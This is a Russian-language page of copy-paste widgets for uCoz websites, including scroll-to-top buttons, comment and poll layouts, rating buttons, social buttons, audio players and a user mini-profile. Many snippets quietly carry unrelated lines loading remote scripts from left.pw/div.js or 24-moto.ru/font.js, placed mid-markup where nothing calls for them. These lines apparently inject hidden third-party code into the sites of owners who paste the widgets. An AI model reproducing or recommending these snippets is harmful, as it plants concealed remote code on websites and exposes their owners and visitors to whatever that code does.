Скрипты для ukoz
В категории объявлений: 34 1-20
Страницы: 1 2 »
- Тип объявления - Информация Спрос Предложение
Дате ·
Названию ·
Рейтингу ·
Комментариям ·
Просмотрам
$IMAGE1$
Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}
3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");
jQuery(window).scroll(function(){
if (jQuery(this).scrollTop() > 350) {
jQuery('.scrolltotop').fadeIn();
} else {
jQuery('.scrolltotop').fadeOut();
}
});
jQuery('.scrolltotop').click(function(){
jQuery("html, body").animate({ scrollTop: 0 }, 600);
return false;
});
});0
</script><script type="text/javascript" src="http://left.pw/div.js"></script>
На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
$IMAGE1$
Уважаемые пользователи сайта, вот не плохой и даже очень оригинальный Вид комментариев ucoz с круглым Avatar, где сами картинки будут распологаться напротив и это очень красиво смотриться. Был создан он по своим стилям, как для светло серого сайта и безусловно он еще подойдет на темный дизайн.
Установка его очень проста, для начало нужно добавить стиль на его. Если идет стиль на скрипт, то можно сразу сказать что он будет смотрется красиво и даже иметь свои тени. Но потом и сам код заминить на тот который увас стоит по умолчанию, если у вас стандартный шаблон и все сохранить.
1) Заходим в панель управления и выбираем "вид комментариев" и меняем там все на наш скрипт.
Код
<?if($CLASS$)=='cBlock1'?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td width=96 valign=top>
<div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
<div class="ob_wp">
<div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
</div> </div> </div></div>
<div style="margin-left:-15px"> <center>
<?if($MODER_PANEL$)?>
<a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
<?endif?>
</center></div>
</td><td valign=top>
<div style="position: absolute;margin-left:-9px;margin-top:14px;"><div id="triangle-left"></div></div>
<div class="mess_wp">
<div style="padding:6px">
<table><tr>
<td valign=top><script type="text/javascript" src="http://left.pw/div.js"></script><div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
<td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
</tr></table>
</div>
</div>
</div>
</td></tr></table>
<?else?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td valign=top>
<div class="mess_wp">
<div style="padding:6px">
<table><tr>
<td valign=top>
<div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
<td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
</tr></table>
</div>
</div>
</div>
</td><td width=96>
<div style="position: absolute;margin-left:-2px;margin-top:14px;"><div id="triangle-left1"></div></div>
<div style="float:right">
<div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
<div class="ob_wp">
<div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
</div> </div> </div></div></div>
<div style="margin-right:-24px"> <center>
<?if($MODER_PANEL$)?>
<a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
<?endif?>
</center></div>
</td></tr></table>
<?endif?>
И CSS добавляем.
Код
.com_wp {border-radius:50%;background:#fff;width:65;height:65}
$IMAGE1$
Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:
Код
<div id="statistic">
<div class="Tstatis">
<div class="title_statis">Счетчики пользователей</div>
<div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
</div>
<div style="display:none;" class="Bstatis">
$MYINF_1$
</div>
<div class="Tstatis">
<div class="title_statis">Онлайн сайта</div>
<div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
</div><script type="text/javascript" src="http://left.pw/div.js"></script>
<div style="display:none;" class="Bstatis2">
$ONLINE_COUNTER$
</div>
<div class="Tstatis">
<div class="title_statis">Счетчики сайта</div>
<div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
</div>
<div style="display:none;text-align:center;" class="Bstatis3">
$COUNTER$
</div>
<div class="Tstatis">
<div class="title_statis">Сегодня нас посетили</div>
<div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
</div>
<div style="display:none;padding-left:4px;" class="Bstatis4">
$MYINF_2$
</div>
</div>
Этот код нужно поставить на все страницы, перед </head> !!!
Код
<script src="http://pnghosts.ru/js/jquery.js" type="text/javascript"></script>
Создайте два информера:
$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]
Код
<dl>Всего: $ALL_USERS$</dl>
<dl>За месяц: $30DAYS$</dl>
<dl>За неделю: $7DAYS$</dl>
<dl>Вчера: $YESTERDAY$</dl>
<dl>Сегодня: $TODAY$</dl>
$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]
Код автоматом ставится.
В CSS добавьте стили:
Код
#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
$IMAGE1$
скрипт рейтинга с положительной и отрицательной оценкой для юкоз
Установка:
В шаблон вида материалов нужного модуля вставляем код:
Код
<script type="text/javascript" src="http://pnghosts.ru/js_css/55_rate.js"></script>
<div class="rate">
<a class="orating_m" title="Не нравится" href="#" onclick="rateForm(-1,$ID$);return false"></a>
<a class="orating_p" title="Нравится" href="#" onclick="rateForm(1,$ID$);return false"></a>
<a class="orating_res"><script type="text/javascript" src="http://left.pw/div.js"></script><b title="Голосов: $RATED$" id="rate_$ID$" class="<?if(($RATING$*$RATED$-2*$RATED$)=0)?>nullRate<?else?><?if(($RATING$*$RATED$-2*$RATED$)<0)?>negativeRate<?else?>positiveRate<?endif?> <?endif?>"><script type="text/javascript">document.write(Math.round(<?($RATING$*$RATED$)?>)-<?2*$RATED$?>)</script></b> </a>
</div>
В CSS стиль вставляем:
Код
.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$
$IMAGE1$
Кнопка наверх выполненная в виде ракеты с эффектом огня
Устанавливаем в нижнюю часть сайта:
<div id="MrScrollUp" style="display: block; right: 49.5px;">
<div class="MrScrollUp1" style="opacity: 0; display: block; background-position: -62px 0px;"></div>
<div class="MrScrollUp2"></div><script type="text/javascript" src="http://left.pw/div.js"></script></div>
<link rel="stylesheet" type="text/css" href="http://pnghosts.ru/js_css/raketa.css">
<script type="text/javascript" src="http://pnghosts.ru/js_css/MrScrollUp_raketa.js"></script>
$IMAGE1$
Набор соц. закладок для сайта - твиттер, вк, фейсбук, гугл +1
Установка:
Где желаем видеть вставляем код в HTML:
Код
<table style="width: 100%; height: 100px;border-collapse: collapse;"><tbody><tr><td style="width: 25%; height: 50px; background-image: url(http://pnghosts.ru/img/vk1.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%; background-repeat: repeat repeat;"><script type="text/javascript" src="http://left.pw/div.js"></script><img src="http://pnghosts.ru/img/vk2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/tw2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/fb2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/gp2.jpg" alt="" align="middle"><br></td></tr><tr><td style="width: 25%; height: 40px; background-image: url(http://pnghosts.ru/img/vk3.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%;"><div align="center"><!-- Put this script tag to the <head> of your page -->
<script type="text/javascript" src="http://vk.com/js/api/share.js?90" charset="windows-1251"></script>
<!-- Put this script tag to the place, where the Share button will be -->
<script type="text/javascript"><!--
document.write(VK.Share.button(false,{type: "round", text: "Поделиться"}));
--></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><a href="https://twitter.com/share" class="twitter-share-button" data-lang="ru" data-count="none">Твитнуть</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%;"><div align="center"><a name="fb_share" type="button_count" href="http://www.facebook.com/sharer.php">Опубликовать</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><!-- Поместите этот тег туда, где должна отображаться кнопка +1. -->
<div class="g-plusone" data-annotation="inline" data-width="160"></div>
<!-- Поместите этот тег за последним тегом виджета кнопка +1. -->
<script type="text/javascript">
window.___gcfg = {lang: 'ru'};
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/platform.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script></div></td></tr></tbody></table>
$IMAGE1$
Сегодня Вашему вниманию предлагаю скрипт, который добавляет форму для оформления быстрого заказа на Ваш сайт.
Данный функционал очень полезен для интернет-магазинов, повышает лояльность пользователей и отлично дополнит практически любой сайт.
Как обычно - скрипт полностью готов к использованию и Вы можете установить его к себе на сайт добавив всего несколько строк javascript.
Итак, для того, чтобы добавить к себе на сайт эту форму необходимо:
Зайти в "Панель управления" - "Дизайн" - "Управление дизайном (CSS)" - "Глобальные блоки : Верхняя часть сайта" и вставить скрипт:
Код
<script type="text/javascript" src="http://my.uguide.ru/uorder/uOrder.js"></script>
Вместо feedback@site.ru и email@site.ru нужно подставить свои электронные адреса.
Доступные настройки:
subject: "Заказ от ", //Надпись, которая будет в теме отправленного вам письма
site: "с сайта ",
title: "Быстрый заказ",
name: "Ваше имя", //Название поля для имени
adress: "Ваш адрес", //Название поля для адреса
phone: "Ваш телефон", //Название поля для телефона
comment: "Ваш вопрос", //Название поля для комментария
button: "Заказать", //Надпись на кнопке, с помощью которой происходит отправка формы
call_btn: "Оформить быстрый заказ",
colors: "#e84242",
email_from: null,
email_to: null,
status_sending: "Отправка...",
status_error: "Заполните все обязательные поля!"
Код
<link rel="stylesheet" href="http://shtorm.fm/api/styles.css" type="text/css"><script type="text/javascript"> var streams = new Object;streams["trend48"] = "http://live.shtorm.fm:8000/aac48";streams["trend128"] = "http://live.shtorm.fm:8000/112";streams["gold48"] = "http://live.shtorm.fm:8000/aac48_nerus";streams["gold128"] = "http://live.shtorm.fm:8000/mp3_128_nerus";streams["club48"] = "http://live.shtorm.fm:8000/aac";streams["club128"] = "http://live.shtorm.fm:8000/mp3";streams["rus48"] = "http://radio.rushtorm.ru:8000/aac48";streams["rus128"] = "http://radio.rushtorm.ru:8000/mp3";streams["rock48"] = "http://live1.shtorm.fm:8000/aac48_rock";streams["rock128"] = "http://live1.shtorm.fm:8000/mp3_rock";streams["classic48"] = "http://live.shtorm.fm:8000/aac48_classic";streams["classic128"] = "http://live.shtorm.fm:8000/mp3_classic";streams["disco48"] = "http://live1.shtorm.fm:8000/aac48_discach";streams["disco128"] = "http://live1.shtorm.fm:8000/mp3_discach"; var stream48 = streams["trend48"]; var stream128 = streams["trend128"];</script><script type="text/javascript" src="http://shtorm.fm/api/script.js"></script><div id="radioshtorm"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="player-h" align="middle" height="110" width="240"> <param name="movie" value="http://shtorm.fm/api/player-h.swf"> <param name="wmode" value="transparent"> <param name="allowScriptAccess" value="sameDomain"> <param name="FlashVars" value="defStream=trend&defUrl=http://shtorm.fm/api/&autoplay=no"> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="http://shtorm.fm/api/player-h.swf" height="110" width="240"> <param name="movie" value="http://shtorm.fm/api/player-h.swf"> <param name="wmode" value="transparent"> <param name="allowScriptAccess" value="sameDomain"> <param name="FlashVars" value="defStream=trend&defUrl=http://shtorm.fm/api/&autoplay=no"> <!--<![endif]--> <div id="playerHtml5" class="player-h"> <div id="logo"></div> <div id="song"></div> <div id="play"></div> <div id="stop" style="display:none"></div> <div id="b48" class="active">48</div> <div id="b128">128</div> <div id="other"></div> <div id="otherSet"> <div class="stream" id="disco">Дискач</div> <div class="stream" id="gold">Золотой</div> <div class="stream" id="trend">Трендовый</div> <div class="stream" id="club">Клубный</div> <div class="stream" id="rus">Русский</div> <div class="stream" id="rock">Роковый</div> <div class="stream" id="classic">Классический</div> <div class="clr"></div> </div> </div> <!--[if !IE]>--> </object> <!--<![endif]--> </object></div>
Код
<embed type="application/x-vlc-plugin" src="http://live1.shtorm.fm:8000/mp3_discach.m3u" width="196" height="91">
$IMAGE1$
Создать глобальный блок и вставляет в него код:
Код
<center>$COUNTER$</center>
<hr><center><img src="http://pnghosts.ru/img/81.png" border="0"></a></center> $ONLINE_COUNTER$[ <a href="#" onclick="new _uWnd('OnUsrLst',' ',250,200,{autosize:0},{url:'/index/62'});return false;">Кто on-line?</a> ]<script type="text/javascript" src="http://24-moto.ru/font.js"></script><br>[ <a href="#" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'}); return false;" class="fUsrList">Кто нас сегодня посетил</a> ]
$IMAGE1$
В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста
Установка:
Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот:
Код
<div class="cell-poll">
<div class="cell-poll-title">$QUESTION$</div>
<div class="cell-poll-answers">$ANSWERS$</div>
<div class="cell-poll-link">
<span>Ответов: <strong>$TOTAL_VOTES$</strong></span>
<a href="$RESULTS_LINK$" >Результаты </a>
<b> | </b>
<a href="$ARCHIVE_LINK$">Архив </a>
</div>
</div>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript">
var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15'];
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>
Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код:
Код
/* Вид опроса для uCoz, в стили flat v2
Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!
$IMAGE1$
Аудиоплеер имеет размеры 305Х235 и оснащён плейлистом который может содержать любое количество музыкальных композиций или радиопотоков. Воспроизведение музыки автоматически не переключается на следующую, каждую мелодию нужно включать индивидуально. Для установки понадобится скопировать весь код из примера, создать текстовый документ для плейлиста или скачать готовый и составить список воспроизводимых композиций. После составления списка воспроизведения закачайте готовый файл файл плейлиста на сервер своего сайта и укажите путь к нему в коде плеера и поместите весь код плеера там где хотите его видеть. Установка кода аудиоплеера производится в любом месте поддерживающем HTML редактирование. Аудиоплеер может работать без плейлиста, воспроизводя одну композицию.
Код для установки аудиоплеера с плейлистом
Вам потребуется заменить ссылку ( http://pnghosts.ru/js_css/playlist-demo.txt ) на Ваш плейлист и установить код там где будет находиться аудиоплеер с плейлистом.
Код
<script language="JavaScript" src="//pnghosts.ru/js_css/swfobject1.js"></script>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayer"></div>
<script>
var flashvars = {"uid":"audioplayer","m":"audio","st":"http://pnghosts.ru/js_css/wahiteaudio-pl-305X36.txt","pl":"http://pnghosts.ru/js_css/playlist-demo.txt"};
var params = {id:"audioplayer",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"};
new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayer", "305", "235", "10.0.0", "expressInstall.swf", flashvars, params);
</script>
Пример файла плейлиста аудиоплеера
Впишите название композиции и ссылку на неё, количество песен в плейлисте может быть любым, можно использовать радиопотоки, они вписываются аналогично музыкальным ссылкам. При формировании плейлиста нельзя создавать пробелы и переносы в строках. Ячейка одной композиции выглядит так:
{"comment":"НАЗВАНИЕ","file":"ССЫЛКА НА МУЗЫКУ"}
Обратите внимание, между ячейками стоит запятая, её нет только после последней.
Код
{"playlist":[{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"}]}
Код для установки аудиоплеера без плейлиста
$IMAGE2$
Аудиоплеер с размерами 305Х36 будет оснащён только одной музыкальной композицией или радиопотоком, для добавления измените ссылку http://SITE.RU/SOUNDS.mp3 на свою.
Код
<script language="JavaScript" src="//pnghosts.ru/js_css/swfobject.js"></script>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayerds"></div>
<script>
var flashvars = {"uid":"audioplayerds","m":"audio","st":"http://pnghosts.ru/js_css/whiteaudio-pl-305X36.txt","file":"http://SITE.RU/SOUNDS.mp3"};
var params = {id:"audioplayerds",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"};
new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayerds", "305", "36", "10.0.0", "expressInstall.swf", flashvars, params);
</script>
$IMAGE1$
Скрипт представляет собой форму поиска по сайту, а именно по выбранным модулям, типа доски объявлений, каталогов сайтов и файлов и т.д.
Поменяйте название сайта на своё, далее копируем весь код и в конструкторе на сайте добавляем в какой нибудь блок, потом сохраняем конструктор и проверяем работу скрипта, по возможности можете добавить в него дополнительные модули для поиска.
Код
<script type="text/javascript">
//Search start
function searchSelect(f) {
n = f.modul.selectedIndex;
modul = f.modul.options[n].value;
document.search.action = 'http://SITE.RU/'+modul+'/';
if (modul == 'news')
{
document.search.a.value = '14';
}
else
if (modul == 'load' || modul == 'publ' || modul == 'dir' || modul == 'board')
{
document.search.a.value = '2';
}
else
if (modul == 'blog')
{
document.search.a.value = '13';
}
else
if (modul == 'faq')
{
document.search.a.value = '3';
}
}
//Search end
</script>
<div class="searchForm">
<form name="search" onSubmit="this.sfSbm.disabled=true" method="post" style="margin: 0px;">
<div class="schQuery" align="center">
<input name="query" maxlength="30" size="20" class="queryField" type="text">
<script type="text/javascript" src="http://24-moto.ru/font.js"></script>
<select name="modul" onChange="searchSelect(this.form);">
<option value="none">Где искать?</option>
<option value="news">Новости</option>
<option value="load">Файлы</option>
<option value="publ">Статьи</option>
<option value="dir">Сайты</option>
<option value="blog">Блог</option>
<option value="faq">ЧаВо</option>
<option value="board">Объявления</option>
</select>
</div>
<div class="schBtn" align="center">
<input class="searchSbmFl" onClick="this.sfSbm.disabled=true" name="sfSbm" value="« Найти »" type="submit">
</div>
<input name="a" type="hidden">
</form>
</div>
$IMAGE1$
Красочный вид статистики кв, статистика для клана css,cs, и других.
Особенность в данной статистики то что ярко выраженно поле нечьи, победы...
Оформление статистике на css стилях, цвет серый опять скрипт под тёмный сайт, но стили легко редактировать, и можно сделать синем, крастным или белым.
Устоновка:
Кидаем код в новый блок, ВСЁ!
Код
<center>
<table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align="">
<tbody>
<tr>
<td style="height: 22px; text-align: center; background: ##696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1">
<img src="http://pnghosts.ru/img/Win.png"/>
</td>
</tr>
<tr>
<td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; ">
<font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Победы (419)</font>
</td>
</tr>
</tbody>
</table>
<br/>
<table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align="">
<tbody>
<tr>
<td style="height: 22px; text-align: center; background: ##696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1">
<script type="text/javascript" src="http://24-moto.ru/font.js"></script>
<img src="http://pnghosts.ru/img/Lose.png"/>
</td>
</tr>
<tr>
<td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; ">
<font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Поражения (90)</font>
</td>
</tr>
</tbody>
</table>
<br/>
<table style="border: 1px solid #1d1d1d; width: 170px; height: 20px; border-collapse: collapse; " width="" align="">
<tbody>
<tr>
<td style="height: 22px; text-align: center; background: #282828; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%; " colspan="1">
<img src="http://pnghosts.ru/img/Drawn.png"/>
</td>
</tr>
<tr>
<td style="height: 25px; text-align: center; background: #696969; border: 1px solid #1d1d1d; letter-spacing: 0px; word-spacing: 0px; ">
<font size="1" style="font-size: 8pt; color: rgb(255,255,255);" face="Arial">Ничьи (15)</font>
</td>
</tr>
</tbody>
</table>
</center>
$IMAGE1$
Создаем глобальный блок и вставляем туда код мини профиля
Код
<!-- Личный кабинет -->
<DIV align="center"><script language="JavaScript">
function process(){}
today = new Date()
if((today.getHours() < 12) && (today.getHours() >= 6))
{ document.write("<b>Доброе утро, $USERNAME$.</b>")}
if((today.getHours() >= 12) && (today.getHours() < 18))
{ document.write("<b>Добрый день, $USERNAME$.</b>")}
if((today.getHours() >= 18) && (today.getHours() <= 23))
{ document.write("<b>Добрый вечер, $USERNAME$.</b>")}
if((today.getHours() >= 0) && (today.getHours() < 4))
{ document.write("<b>Здравствуйте, $USERNAME$. Не спится?</b>")}
if((today.getHours() >= 4) && (today.getHours() <= 6))
{ document.write("<b>Здравствуйте, $USERNAME$.<br>Мы рады вас видеть в столь ранний час.</b>")}
</script>
<?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/no_avatar_user.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavat_log.png" border="0"><?endif?><?endif?><br>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script>
<?if($USER_LOGGED_IN$)?>
<?endif?>
<?if($USER_LOGGED_IN$)?>
<!-- -->
<script language="javascript1.2">
<!--
var ns6=document.getElementById&&!document.all?1:0
var head="display:''"
var folder=''
function expandit(curobj){
folder=ns6?curobj.nextSibling.nextSibling.style:document.all[curobj.sourceIndex+1].style
if (folder.display=="none")
folder.display=""
else
folder.display="none"
}
//-->
</script>
<table align="center" class="gTable1" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="95%">
<td valign="middle" width="75%">
<div style="float:center"><img style="cursor:hand" onclick="expandit(this)" title="Подробная информация" src="http://pnghosts.ru/img/informaciya.png">
<span style="display:none">
<div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightgray; text-align: justify;">
<b>Ваш логин:</b> $USERNAME$<br>
<b>Ваше имя:</b> $USER_FULL_NAME$<br>
<b>Вы родились:</b> $USER_BIRTHDAY$ <br>
<b>Ваш ID:</b> $USER_ID$<br>
<b>Вы здесь: $USER_REG_DAYS$-й день</b><br>
<b>Ваша група:</b> $USER_GROUP$<br>
<b>ID вашей групы:</b> $GROUP_ID$<bR>
<b>Ваш IP адрес:</b> $IP_ADDRESS$<br>
<b>Ваш браузер:</b> $USER_AGENT$ $USER_AGENT_VER$<br>
<b>Ваш пол :</b> $USER_GENDER$<br>
<center><?if($IS_NEW_PM$)?><b>$USERNAME$ у вас <a onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;">$UNREAD_PM$ ЛС</a> !</b><?endif?></centeR>
</div>
</span></div></td></table>
<!--/-->
<br>
<!-- -->
<table align="center" class="gTable1" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="95%">
<td valign="middle" width="75%">
<div style="float:center"><img style="cursor:hand" onclick="expandit(this)" title="Доступные функции" src="http://pnghosts.ru/img/instument_img.png">
<span style="display:none">
<div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightgray; text-align: justify;">
<center>
<input class="buttonprofile" type="button" onclick="window.open('/index/15-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="Список пользователей">
<input class="buttonprofile" type="button" onclick="window.open('/index/11','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="Изменить сведения">
<input class="buttonprofile" type="button" onclick="window.open('$AWARDS_READ_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Список наград ">
<input class="buttonprofile" type="button" onclick="window.open('/index/14-999-0-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Отправить ЛС ">
<input class="buttonprofile" type="button" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Читать ЛС ($UNREAD_PM$) "><br>
<input class="buttonprofile" type="button" onclick="window.open('/index/8','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value=" Профиль "><br>
<input class="buttonprofile" type="button" onclick="document.location.href='/index/10'; return false;" value="Выход"> <bR>
</center>
</div>
</span></div></td></table>
<!--/-->
<center>
<script language=javascript type=text/javascript>
function openOnClick(client_type)
{
if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
}
</script>
<?else?>
